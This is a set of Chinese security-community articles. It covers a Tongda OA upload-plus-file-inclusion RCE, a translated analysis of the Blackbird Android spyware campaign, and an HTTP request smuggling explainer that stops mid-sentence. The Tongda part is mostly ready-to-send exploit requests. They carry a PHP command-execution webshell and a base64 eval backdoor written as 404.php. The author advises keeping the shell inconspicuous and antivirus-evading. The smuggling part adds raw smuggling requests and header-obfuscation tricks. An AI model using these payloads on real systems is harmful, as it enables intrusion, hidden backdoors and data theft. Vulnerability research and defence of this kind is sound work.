if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文件'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME, array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8') {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, 'utf-8', MYOA_CHARSET);
} else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_('文件名[%s]包含[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), $ATTACH_NAME);
}
if ($ERROR_DESC == '') {
$ATTACH_NAME = str_replace('\'', '', $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败'), $ATTACH_NAME);
} else {
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
}
}
@unlink($ATTACH_FILE);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统限制（%s）'), $ATTACH_NAME, ini_get('upload_max_filesize'));
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了表单限制'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_('文件[%s]上传不完整'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败：找不到临时文件夹'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_('文件[%s]写入失败'), $ATTACH_NAME);
} else {
$ERROR_DESC = sprintf(_('未知错误[代码：%s]'), $ATTACH_ERROR);
}
}
}
}
}
}
if ($ERROR_DESC != '') {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS['ID'], $ATTACHMENTS['NAME'], $MODULE);
return $ERROR_DESC;
} else {
Message(_('错误'), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}
之后在上面的代码中，调用了当前文件下的is_uploadable()函数对文件名进行检查：
从上面的代码中可以看到，这里首先对文件名进行了检查，当文件名中不存在"."时会直接以现有的文件名来作为EXT_NAME,如果存在则从.开始匹配3位，判断后缀是否为php,如果为php则返回false,否则将"."之前的作为EXT_NAME。
因为通达OA一般都是搭建在Windows系列下，所以我们这里可以有两个思路：
* 上传一个以.php.为后缀的webshell文件（很可惜，上传后文件不再web工作目录下，没法直接使用，后面有介绍）
* 上传一个图片木马文件，之后寻找一个文件包含漏洞来包含该图片木马文件，实现远程RCE
当然，这里确实还存在一个文件包含漏洞，下面进行简要分析~
### 文件包含功能
文件包含功能的文件位于——webroot\ispirit\interface\gateway.php，具体代码如下：
<?php
//decode by http://dezend.qiling.org QQ 2859470
ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
if (preg_match('/[^a-z0-9;]+/i', $P)) {
echo _('非法参数');
exit;
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
echo _('RELOGIN');
exit;
}
}
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
}
exit;
}
上面的逻辑较为简单，可以直接看到，如果这里不传递参数P那么就可以绕过前面一系列的检测直接进入到下面的if语句中，之后从json中获取url参数的值，之后判断general/、ispirit/、module/是否在url内，如果不在直接跳过下面的include_once
$url,如果存在则包含指定URL的文件，这也是后期构造文件包含payload的一个重要信息点。
综上所述，我们总结如下：
* 文件上传功能：传递参数P或参数P的值不为空即可绕过身份认证，且DEST_UID不为空，同时不能是以php为后缀的文件
* 文件包含功能：不传递参数P即可绕过前期的一系列检查，同时json格式的url请求数据中需要包含general/、ispirit/、module/三者中的一个
由上面的简易分析，可知，我们这里可以先上传一个图片木马文件，之后再使用文件包含功能包含该图片木马来实现远程RCE,下面来复现该漏洞~
## 漏洞复现
### 环境搭建
通达OA的安装包下载地址如下：
链接：<https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg>
提取码：ousi
下载之后直接运行exe文件进行安装即可，但是要确保本地的80端口未被占用~
### 漏洞复现
#### 命令执行
这里可以先自我编写一个文件上传页面，之后使用burpsuite抓包来获取一个文件上传特征的数据包，也可以通过upload-labs来实现，笔者这里正好有upload-labs的环境就直接使用了，之后修改请求数据包，这里需要注意的是参数UPLOAD_MODE、P、DEST_UID、filename的构造，完整的请求包如下：
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
之后在burpsuite中释放数据包，做文件上传测试，发现可以成功上传文件：
PS：如果这里在上传文件时有文件名，需要注意上传后的文件名格式为“序列.文件名.jpg”，我这里为了方便就直接设置文件名为jpg了，且不包含"."，这一点在之前代码分析时已经说过原因了~
之后进行文件包含，并执行命令，构造请求包如下：
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
json={"url":"/general/../../attach/im/2003/354900984.jpg"}&cmd=whoami
由此可见，文件包含+文件上传==>命令执行成功实现！
#### POC验证
#### GetShell
同时，我们也可以写shell文件进去，下面试试看~
首先，构造上传的图片木马文件内容如下：
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 602
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$fp = fopen('404.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
之后释放数据包，上传文件：
之后包含文件：
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
json={"url":"/general/../../attach/im/2003/1153189608.jpg"}
之后在服务器端成功写入webshell——404.php（shell名称自我定义即可，设置成那种不显眼且不容易发现的，同时shell能是免杀的那种最好）
之后使用菜刀连接
成功连接到shell
#### EXP验证
附加测试：
之前说过在Windows下可以使用.php.来绕过之前的上传文件中对php的匹配检测，这里简单的演示一下：
上传之后可以看到目录下的文件名.shell.php的生成，但是很可惜的是web的工作目录在webroot下，所以没法直连，这里还是需要借助文件包含，上面的只是做了一个在Windows下如何绕.php后缀的检测方法，如果要真的使用还是需要在shell文件中通过文件读写来新建404.php后门才好，而不是和上面一样直接写一句话进去：
同时，之前也想过日志文件+文件包含来RCE或者getshell，但是发现日志文件好像只记录一些启动的模块，暂未发现可用的途径
## POC&EXP
POC&EXP: <https://github.com/Al1ex/TongDa-RCE>
PS: EXP中的shell路径需要根据具体的版本来做改动
## 漏洞修复
更新补丁：
V11版：<http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe>
2017版：<http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe>
2016版：<http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe>
2015版：<http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe>
2013增强版：<http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe>
2013版：<http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe>
## 参考链接
<https://github.com/jas502n/OA-tongda-RCE>
<http://www.tongda2000.com/news/673.php> | 社区文章 |
# 针对韩国的间谍行动Blackbird
##### 译文声明
本文是翻译文章，文章原作者 alyac，文章来源：blog.alyac.co.kr
原文地址：<http://blog.alyac.co.kr/2035>
译文仅供参考，具体内容表达以及含义原文为准。
本文涉及到的样本译者已经分析过，如有相关问题可留言。
## 简介
Blackbird行动背后主导者Group123以往的主要攻击目标是军队、政界或者企业等群体，攻击对象一般是服务器或者PC端，但是此次Blackbird行动的间谍程序扩展到了移动端，主要攻击目标为叛逃者或者有关的个人。
此次攻击最初在去年十二月被发现，攻击者通过KakaoTalk进行了网络钓鱼攻击。钓鱼页面诱使叛逃者安装应用程序（直接发送程序或者诱导叛逃者从谷歌商店下载），这些应用程序的主要目的是隐私窃取，即为间谍软件。
## 攻击流程
在用户通过钓鱼链接下载间谍程序后，用户设备与远程服务器进行连接。攻击中使用了三星和LG设备中的漏洞来植入Dropper，其中一个Dropper是利用了Samsung
CVE-2015-7888的漏洞，随后可下载Cmd命令以及其他Dex恶意模块，其他功能中还使用了开源的通话录音工具CallRecorder。在分析此次攻击C&C上收集的数据发现此次攻击使用的电子邮件账户，通过KakaoTalk进行网络钓鱼是使用的配置信息还有其他许多敏感的个人信息。
攻击流程图为：
Blackbird的钓鱼攻击手法有一定的针对性：
## 攻击历史
研究人员怀疑Blackbird样本第一次出现是在2017年8月，后期进行了多次变种。目前统计到的样本演变过程为：
### 攻击特征
研究人员根据代码特征、指纹证书和C2信息对这些样本进行了关联。目前这批样本使用的C2服务器主要有dropbox，Yandex和被入侵的Web服务器三类。研究人员对这些样本进行了C2使用情况的标记。
随后根据证书指纹对上图中的组合标记号进行了组合分类以便于识别。
最后对代码和数据特征进行分析并进行组合标记，目前总结的功能1主要为：
代码模块1是使用了三星和LG设备中的漏洞来植入的载荷。而根据历史记录显示，这些投递的载荷在2017年8月发生了变种，但是代码中使用的字符串数据仍然一致。
代码模块2的情况为：
代码模块2目前分为三种类型，这三种类型仅类的名称不同，其他要下载的附加模块和字符串信息均相同。
在代码模块2-3，恶意软件复写了开源CallRecorder的一部分代码。CallRecorder是一个实现通话录音的开源代码，有根据设置自动处理通话录音的功能。该开源代码地址为：<https://github.com/aykuttasil/CallRecorder>
代码模块2是是主要的恶意部分，在整个攻击历史中被反复使用。
### 收集数据分析
攻击者窃取用户隐私信息存储在测试文件夹中，包括设备信息，命令列表，受害者帐户的配置文件信息以及文档文件。这些文件位于下图所示令牌访问的Dropbox中。文件夹中文件的名称是DeviceID作为标识设备的标识号。由于依赖不同的令牌，研究人员通过收集具有相同DeviceID的文件来分析测试设备的DeviceID（358506075293260）等文件。
在这些文件中，研究人员发现了一个电子邮箱，怀疑是攻击者所用邮箱。
### 代码分析
样本基本信息为：
hash：948f1d50d1784908ece778614315a995
应用名称：SamsungApps
包名：com.android.systemservice
Samsung Apps执行流程的概念图为：
第一个droppe是通过Samsung
Vulnerability（CVE-2015-7888）漏洞来安装的。应用程序最初会注册设备信息并下载cmd和其他模块（dex）以执行cmd中定义的恶意操作，后续会自删除。
APK中的Drop-in代码：
应用程序的assets文件夹中有一个drop apk文件，这个apk文件才是最终的恶意行为文件（第二阶段恶意载荷）。同时这个程序还会进行自删除行为。
第二阶段恶意载荷样本信息为：
hash：19a06965edc7b86f7b63d5a86b927a87
AppName：SystemService
包名：com.android.systemservice
C2信息：YANDEX
C2 Yandex地址为：
随后恶意软件就会上传设备的详细信息。根据收集的信息可以识别每个设备并对数据进行分类。
下载cmd文件后，提取命令信息，将其转换为相应的信息，然后根据命令设置应用程序。
下载附加模块的代码为：
加载下载的附加模块的代码为：
攻击者会根据用户版本下载功能不同的Custom.dex。
被收集的用户数据会被加密储存在远程服务器中。
## 总结
该病毒的攻击行为较为传统，“Group123”韩国黑客组织到目前为止发动的钓鱼攻击活动有：
2016年11月至2017年1月-“罪恶的新年（Evil New Year）“；
2016年8月至2017年3月-“黄金时间（Golden Time）” ；
2017年3月-“你快乐吗（Are you Happy）?”；
2017年5月-“FreeMilk” ；
2017年11月-“朝鲜人权（North Korean Human Rights）“；
2018年1月-“罪恶的新年2018（Evil New Year 2018）”
韩国正在成为恶意攻击者的一个重要目标，所使用的技术也正变得专门针对该地区（例如：使用本国语言，确保目标感觉到发送给他们的信息、文件或电子邮件更合法）
。在特定的行动中，攻击者花时间攻陷了包括延世和KGLS在内的多个合法的韩国平台，以打造鱼叉式的钓鱼行动或承担指挥和控制。此方法对技术不太先进的攻击者来说并不常见，这表现出了攻击者对韩国地区的高度熟悉和认知。
然而Group 123的行动并不局限于韩国。对于国际目标，他们能够切换到更为标准的攻击媒介，如使用Microsoft
Office文档，而不是针对韩国受害者使用的特定HWP文档。Group
123会毫不犹豫地使用公共漏洞和脚本语言来投放和执行恶意payload。我们注意到，该组织使用攻陷的合法网站（主要是WordPress）和云平台与受感染的系统进行通信，此方法使得通过分析网络流量来检测通信变得更困难。虽然攻击者的武器多样，但我们已经确定了其部分模式：复制粘贴来自各个公共存储库的代码以及不同代码之间的相似性。除远程管理工具之外，我们还识别出了一个擦除器。我们得出结论：该组织参与了情报收集活动，最后企图破坏。
以目前对攻击者的了解，研究人员预测他们不会很快消失，在未来几年将继续活跃。 | 社区文章 |
在前些天研究的时候，恰巧 **mengchen@知道创宇404实验室**
也发表了[协议层的攻击——HTTP请求走私](https://paper.seebug.org/1048/)文章，也带给了自己更多的启示，师傅的文章写的非常的不错，墙裂建议阅读，这里我结合师傅的文章跟自己的一些理解进行一些整理，本文亦可理解为那篇文章的补充与更详细的描述。
整篇文章由于自己时间问题，前前后后拖了两个月左右，中间时间间隔可能比较久，所以文章会有比较多的疏漏，还请师傅们看后直接指出斧正。写作不易，还请师傅们多多担待。最近也一直在关注这方面的安全问题，欢迎一起学习讨论:
) 联系方式：emVkZHl1Lmx1QGdtYWlsLmNvbQ==
后续如果有新的总结发现也会发自己的[垃圾博客](https://blog.zeddyu.info)或者先知（就看国际黑客陈师傅给不给过了）
# TL;NR
Pic from <https://twitter.com/SpiderSec/status/1200413390339887104?s=19>
# TimeLine
在我们提 HTTP Smuggling 之前我们首先来看看其中的演变过程：
@Amit Klein 在 2004 年提出 [HTTP Response
Splitting](https://dl.packetstormsecurity.net/papers/general/whitepaper_httpresponse.pdf)
技术，是 HTTP Smuggling 攻击的雏形。
关于 HTTP Smuggling 这种攻击方式在 2005 年已由 @Watchfire 首次提出 [HTTP Request
Smuggling](https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf) 。
HTTP Parameter Pollution (HPP)，也就是 HTTP 参数污染，这其实也算是一种"特殊"的 HTTP Smuggling 攻击，在
2009 年由 @Stefano di Paola & @Luca Carettoni 在 OWASP Poland conference
上首次提出，一经提出就引起了比较大的轰动，被广泛运用在绕过 WAF 当中。
2016 年 Defcon 24 ，@regilero 提出了 [Hiding Wookiees In
Http](\[https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf\]\(https://media.defcon.org/DEF CON 24/DEF CON 24
presentations/DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdf))，进一步揭示了 HTTP
Smuggling 这种攻击方式。
2019 年 Defcon 27， @James Kettle 提出了 [HTTP Desync Attacks: Smashing into the
Cell Next
Door](\[https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-albinowax-HTTP-Desync-Attacks.pdf\]\(https://media.defcon.org/DEF CON 27/DEF CON 27
presentations/DEFCON-27-albinowax-HTTP-Desync-Attacks.pdf))，讲解了如何用 HTTP
Smuggling 技术挖掘到了 Paypal 的漏洞。
# Causes
然而@James Kettle 的 PPT 里面也并没有非常详细细致地讲述这个攻击是什么，以及怎么形成的，当初自己看完还是抱着非常大的疑惑的，后来学习了
@regilero 博客中关于 [HTTP Smuggling
的文章](https://regilero.github.io/tag/Smuggling/)，我才有了清晰的认识。
## HTTP Connection Mod
>
> 在`HTTP1.0`之前的协议设计中，客户端每进行一次HTTP请求，就需要同服务器建立一个TCP链接。而现代的Web网站页面是由多种资源组成的，我们要获取一个网页的内容，不仅要请求HTML文档，还有JS、CSS、图片等各种各样的资源，这样如果按照之前的协议设计，就会导致HTTP服务器的负载开销增大。于是在`HTTP1.1`中，增加了`Keep-> Alive`和`Pipeline`这两个特性。
### Keep-Alive
根据 [RFC7230](https://tools.ietf.org/html/rfc7230#section-6) 我们可以知道
> HTTP/1.1 defaults to the use of "persistent connections", allowing
> multiple requests and responses to be carried over a single connection. The
> "close" connection option is used to signal that a connection will not
> persist after the current request/response. HTTP implementations SHOULD
> support persistent connections.
在 HTTP/1.1 中默认使用`Keep-Alive`，从而允许在单个连接上承载多个请求和响应。
> 所谓`Keep-Alive`，就是在HTTP请求中增加一个特殊的请求头`Connection: Keep-> Alive`，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在`HTTP1.1`中是默认开启的。
当然，有些请求带着`Connection: close`的话，通信完成之后，服务器会中断 TCP 连接。
### Pipline
> 有了`Keep-> Alive`之后，后续就有了`Pipeline`，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。
>
> 现如今，浏览器默认是不启用`Pipeline`的，但是一般的服务器都提供了对`Pipleline`的支持。
在 HTTP/1.1 中比较重要的引入就是 pipeline 技术了，以下是使用以及不使用 piepeline 技术的对比图：
我们可以清晰地看到，使用了 pipeline 之后不必再需要等待前一个请求完成其响应再处理第二个请求了，这个有点异步处理的意思在里面。
## Message Body
<https://tools.ietf.org/html/rfc7230#section-3.3>
### Transfer-Encoding
> Transfer-Encoding is analogous to the Content-Transfer-Encoding field of
> MIME, which was designed to enable safe transport of binary data over a
> 7-bit transport service ([RFC2045], Section 6). However, safe transport has
> a different focus for an 8bit-clean transfer protocol. In HTTP's case,
> Transfer-Encoding is primarily intended to accurately delimit a dynamically
> generated payload and to distinguish payload encodings that are only applied
> for transport efficiency or security from those that are characteristics of
> the selected resource.
Transfer-Encoding 是一种被设计用来支持 7-bit 传输服务安全传输二进制数据的字段，有点类似于 MIME (Multipurpose
Internet Mail Extensions) Header 中的 Content-Transfer-Encoding
。在HTTP的情况下，Transfer-Encoding 的主要用来以指定的编码形式编码 payload body 安全地传输给用户。在 HTTP/1.1
中引入，在 HTTP/2 中取消。
[MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding) 列举了几种属性：
chunked | compress | deflate | gzip | identity
我们这里主要关注 chunked 这一种传输编码方式，它在网络攻击中也不是第一次提及了，之前就有师傅利用这个字段去绕过一些 WAF，可以参考
[利用分块传输吊打所有WAF](https://www.freebuf.com/articles/web/194351.html)，也是比较有意思的
bypass 技巧。
我们可以在[RFC7230](https://tools.ietf.org/html/rfc7230#section-4.1)中查看到有关分块传输的定义规范。
> 4.1. Chunked Transfer Coding
>
> The chunked transfer coding wraps the payload body in order to
> transfer it as a series of chunks, each with its own size indicator,
> followed by an OPTIONAL trailer containing header fields. Chunked
> enables content streams of unknown size to be transferred as a
> sequence of length-delimited buffers, which enables the sender to
> retain connection persistence and the recipient to know when it has
> received the entire message.
>
>
> chunked-body = *chunk
> last-chunk
> trailer-part
> CRLF
>
>
> chunk = chunk-size [ chunk-ext ] CRLF
> chunk-data CRLF
> chunk-size = 1 _HEXDIG
> last-chunk = 1_("0") [ chunk-ext ] CRLF
>
> chunk-data = 1*OCTET ; a sequence of chunk-size octets
>
> The chunk-size field is a string of hex digits indicating the size of
> the chunk-data in octets. The chunked transfer coding is complete
> when a chunk with a chunk-size of zero is received, possibly followed
> by a trailer, and finally terminated by an empty line.
>
> A recipient MUST be able to parse and decode the chunked transfer
> coding.
>
> 4.1.1. Chunk Extensions
>
> The chunked encoding allows each chunk to include zero or more chunk
> extensions, immediately following the chunk-size, for the sake of
> supplying per-chunk metadata (such as a signature or hash),
> mid-message control information, or randomization of message body
> size.
>
>
> chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
>
>
> chunk-ext-name = token
> chunk-ext-val = token / quoted-string
>
> The chunked encoding is specific to each connection and is likely to
> be removed or recoded by each recipient (including intermediaries)
> before any higher-level application would have a chance to inspect
> the extensions. Hence, use of chunk extensions is generally limited
>
> to specialized HTTP services such as "long polling" (where client and
> server can have shared expectations regarding the use of chunk
> extensions) or for padding within an end-to-end secured connection.
>
> A recipient MUST ignore unrecognized chunk extensions. A server
> ought to limit the total length of chunk extensions received in a
> request to an amount reasonable for the services provided, in the
> same way that it applies length limitations and timeouts for other
> parts of a message, and generate an appropriate 4xx (Client Error)
> response if that amount is exceeded.
这里如果你不想看的太仔细，我们只需要了解它是怎么一种结构就行了，这里也可以参考 [Wiki: Chunked transfer
encoding](https://en.wikipedia.org/wiki/Chunked_transfer_encoding) ，比如说我们如果要使用
chunked 发送以下消息
Wikipedia in\r\n\r\nchunks.
我们可以这么去发送：
POSTT /xxx HTTP/1.1
Host: xxx
Content-Type: text/plain
Transfer-Encoding: chunked
4\r\n
Wiki\r\n
5\r\n
pedia\r\n
e\r\n
in\r\n\r\nchunks.\r\n
0\r\n
\r\n
这里做个简单解释， **我们使用`\r\n`表示 CRLF ，所以这里的`\r\n`是两个字节**；第一个数字 4 表示的是接下来会有 4
个字节的数据，也就是 Wiki 这 4 个字母，然后按照 RFC 文档标准，字母 Wiki 部分后面需要跟`\r\n`表示 chunk-data 部分，数字
4 后面需要跟`\r\n`表示 chunk-size 部分，而且这个数字是个十六进制数，比如第三个数据，
e\r\n
in\r\n\r\nchunks.\r\n
这里第一个存在空格，数据当中的`\r\n`算两个字符，最后一个`\r\n`表示数据结束，这样的话，第一个空格 1 个字节 + in 2个字节 + 2 个
`\r\n` 算 4 个字节 + chunks. 7个字节 = 14 个字节，十六进制表示 14 也就是 e 。
最后一个`0\r\n\r\n`表示 chunk 部分结束。
## Background
本身这些东西是没有什么危害的，都是通过各种方式提高网络传输速率，但是在一些特殊的情况下就会出现了一些相应的安全问题。
>
> 为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用上了CDN加速服务，最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构。
这里引用 @mengchen 师傅发的图：
一般来说，反向代理与后端服务器不会使用 pipeline 技术，甚至也不会去使用 Keep-Alive ，更多时候反向代理采取的措施是重用 TCP
链接，因为对于反向代理与后端服务器来说，反向代理服务器与后端服务器 IP 相对固定，不同用户的请求通过代理服务器与后端服务器建立链接，将这两者之间的 TCP
链接进行重用，也就顺理成章了。
>
> 当我们向代理服务器发送一个比较模糊的HTTP请求时，由于两者服务器的实现方式不同，可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用户的请求造成了影响之后，就实现了HTTP走私攻击。
HTTP Smuggling 攻击正是基于反向代理与后端服务器对于 HTTP 请求解析处理不一致，利用这种差异性我们可以在一个 HTTP 请求中 “嵌入”
另一个 HTTP 请求，以达到我们“走私”请求的目的，直接表现为我们可以访问内网服务，或者造成一些其他的攻击。
## Attack Method
既然是基于解析差异，那我们会有什么解析差异呢？场景仍然是上述构架的场景，只不过我们简化一下，把后端服务器固定为一台，就不存在某些概率的情况了。也就是说，架构类似于如下示意图：
User Front Backend
| | |
|------A------->| |
| |-------A------>|
| |<-A(200)-------|
|<-A(200)-------| |
我们知道 Content-Length 与 Transfer-Encoding 均可以作为 POST 数据传输时处理 body
的方式，为了方便阅读以及码字，我们对字段处理优先规则有以下简写规则：
* CL-TE 代表 Front 以 Content-Length 优先处理，Backend 以 Transfer-Encoding 优先处理
* TE-CL 代表 Front 以 Transfer-Encoding 优先处理，Backend 以 Content-Length 优先处理
并且 Front 代表的是反向代理等典型的前端服务器，Backend 代表的是处理请求的后端业务服务器，以下均由`\r\n`代替 CRLF，长度为两个字节。
### Chunks Priority On Content-Length
有些同学可能看到这跟我会有同样的疑惑，对于 CL & TE 解析优先级顺序的问题难道 RFC 文档没有做出规范化嘛？有当然是有的，见 [RFC 7230
Message Body Length](https://tools.ietf.org/html/rfc7230#section-3.3.3)
> If a message is received with both a Transfer-Encoding and a Content-> Length header field, the Transfer-Encoding overrides the Content-Length.
> Such a message might indicate an attempt to perform request smuggling
> (Section 9.5) or response splitting (Section 9.4) and ought to be handled as
> an error. A sender MUST remove the received Content-Length field prior to
> forwarding such a message downstream.
虽然这里是指出了 TL 优先于 CL ，但是我们仍然可以通过一些方式绕过，又或者说，那个中间件的也没有依照这个 RFC
标准规范实现，这就导致了差异性的存在。
例如我们使用以下代码来发送 HTTP 请求：
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
以上正确的解析应该是解析成三个请求：
GET / HTTP/1.1
Host:localhost
Content-length:56
Transfer-Encoding: chunked
Dummy:Header
0
GET /tmp HTTP/1.1
Host:localhost
Dummy:Header
GET /tests HTTP/1.1
Host:localhost
Dummy:Header
而如果存在 TE & CL 优先级问题的话，会被解析成两个请求：
GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
Transfer-Encoding: chunked[CRLF] (ignored and removed, hopefully)
Dummy:Header[CRLF]
[CRLF]
0[CRLF] (start of 56 bytes of body)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)
GET /tests HTTP/1.1
Host:localhost
Dummy:Header
### Bad Chunked Transmission
根据 [RFC7230 section 3.3.3](https://tools.ietf.org/html/rfc7230#section-3.3.3)
：
> If a Transfer-Encoding header field is present in a request and the chunked
> transfer coding is not the final encoding, the message body length cannot be
> determined reliably; the server MUST respond with the 400 (Bad Request)
> status code and then close the connection.
也就是说当接受到`Transfer-Encoding: chunked, zorg`的时候，应该返回 400 错误。
这类可以有很多绕过，比如：
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
GET / HTTP/1.1
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
### Null In Headers
在一些用 C 写的中间件服务器当中比较容易产生这个问题，因为`\0`代表字符串结束标志，当用在 header
里面，如果我们用`\0`就可能让中间件出现一些不正常的解析。
比如说：
